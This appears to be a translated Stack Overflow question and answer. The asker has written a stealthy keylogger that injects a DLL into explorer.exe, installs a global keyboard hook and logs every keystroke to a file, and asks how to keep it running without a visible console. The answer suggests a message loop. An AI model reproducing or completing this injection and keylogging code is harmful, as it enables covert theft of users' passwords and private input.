我正在尝试在 Windows 7 上创建一个键盘记录器。为此,我创建了一个 Dll (setHook.dll
),并将其注入(inject)到 explorer.exe 的新线程中。在第一个 DLL 中,我打开了另一个 DLL,其中包含一个在每个键盘输入上调用的函数 (hookfunc
)。
我需要让我的 Dll 在后台运行,因为如果它死了,我就失去了我的 Hook 函数。 为此,我尝试过:
Sleep(INFINITE);
:工作了片刻,但 explorer.exe 崩溃了while(1);
:工作了片刻,但 explorer.exe 崩溃了system("pause")
:工作!但我不希望控制台出现在屏幕上,我的键盘记录器必须谨慎。getchar()
: 同system("pause")
;system("pause > null");
: 访问被拒绝this_thread::sleep_for(chrono::seconds(10))
:资源管理器崩溃
SetHook.dll :
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc :(我认为它没有帮助)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
代码有效,我只需要一个谨慎的无限循环而不是 Sleep(INFINITE)。有什么想法吗?
最佳答案
休眠在 DllMain 中几乎肯定是个坏主意。
我假设您正在尝试安装 global hook .为此,您需要运行 message loop在您的注入(inject)器应用程序中,即类似于:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
关于c++ - 在 explorer.exe 上注入(inject)的 dll 中的无限循环,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26588839/